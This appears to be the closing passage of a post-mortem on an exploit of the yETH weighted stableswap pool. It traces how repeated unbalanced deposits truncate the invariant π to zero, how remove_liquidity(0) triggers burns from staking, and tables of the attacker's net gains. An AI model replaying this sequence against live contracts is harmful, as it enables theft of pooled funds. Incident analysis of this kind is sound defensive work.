19 add_liq 4.34e19 0 π → 0 third time
20 add_liq 0 0 Still zero
21 add_liq 0 0 Still zero
22 remove_liq(0) 0 9.10e19 π RECOMPUTED
23 remove_liq 4.34e19 0 Final removal sets supply=0, π=0

The attack pattern is clear:

  1. Ops 2-9: Build up π through unbalanced deposits
  2. Op 10: π truncates to 0 during iterative solving (integer precision loss)
  3. Op 12: remove_liquidity(0) recomputes π correctly → triggers burn from staking via update_rates
  4. Ops 14-16: Repeat: π → 0 again
  5. Op 17: Fix π again → more burns
  6. Ops 19-21: Repeat once more
  7. Op 22: Final π fix
  8. Op 23: Attacker has accumulated enough LP to exceed supply, burns exactly supply to reach supply = 0

Why π Changes Between Operations

The gaps between π_end of one operation and π_start of the next (e.g., Op #12 ends with 9.09e19 but Op #13 starts with 4.34e19) occur because:

  1. update_rates() is called between operations
  2. This calls _update_supply() which runs iterative solving via _calc_supply()
  3. The iterative process updates π as part of finding the new equilibrium supply
  4. The supply difference is burned from staking

This is the core mechanism: each “fix” of π via remove_liquidity(0) followed by update_rates() burns LP from staking, gradually depleting it until the attacker’s balance exceeds the pool’s internal supply.

π and Net Delta

Net Delta for Actions [13, 14, 15]:

Token 13 (remove, π > 0) 14 (add, π -> 0) 15 (add, π = 0) Net Delta (ETH)
sfrxETH +2,013.84 -1,049.51 -919.89 +44.44
WstETH +1,884.48 -982.09 -860.80 +41.59
ETHx +1,282.02 -667.67 -586.03 +28.32
cbETH +20.08 0 0 +20.08
rETH +1,197.47 -623.64 -547.39 +26.44
apxETH +1,678.60 -878.77 -763.40 +36.43
WOETH +0.48 0 0 +0.48
mETH +0.49 0 0 +0.49
LP Token -8,434.93 +4,961.47 + 0.72 +4,211.53 + 0.63 +739.42

Total assets increased while gaining ~739 LP tokens.

Net Delta for Actions [18, 19, 20]:

Token 18 (remove, π > 0) 19 (add, π -> 0) 20 (add, π = 0) Net Delta (ETH)
sfrxETH +2,196.84 -417.52 -1,779.33 -0.01
WstETH +2,055.72 -390.70 -1,665.03 -0.01
ETHx +1,398.49 -264.94 -1,133.55 0
cbETH +57.20 0 0 +57.20
rETH +1,306.27 -247.47 -1,058.80 0
apxETH +1,831.71 -355.24 -1,476.63 -0.16
WOETH +0.08 0 0 +0.08
mETH +0.08 0 0 +0.08
LP Token -9,237.03 +1,976.90 + 0.29 +8,146.29 + 1.22 +887.67

Total assets increased while gaining ~887 LP tokens.

Why? π = 0 → supply overestimated ((A·σ - D[m]·π[m]) / (A-1)) → mint more tokens than deserved.

References

  • Vulnerable contract: stableswap.vy (Vyper 0.3.10)
  • Pool: yETH weighted stableswap with 8 LST assets 0xCcd04073f4BdC4510927ea9Ba350875C3c65BF81
  • Attack transaction: 0x53fe7ef190c34d810c50fb66f0fc65a1ceedc10309cf4b4013d64042a0331156

\(\tag*{$Q.E.D.$}\) \(\tag*{$\blacksquare$}\)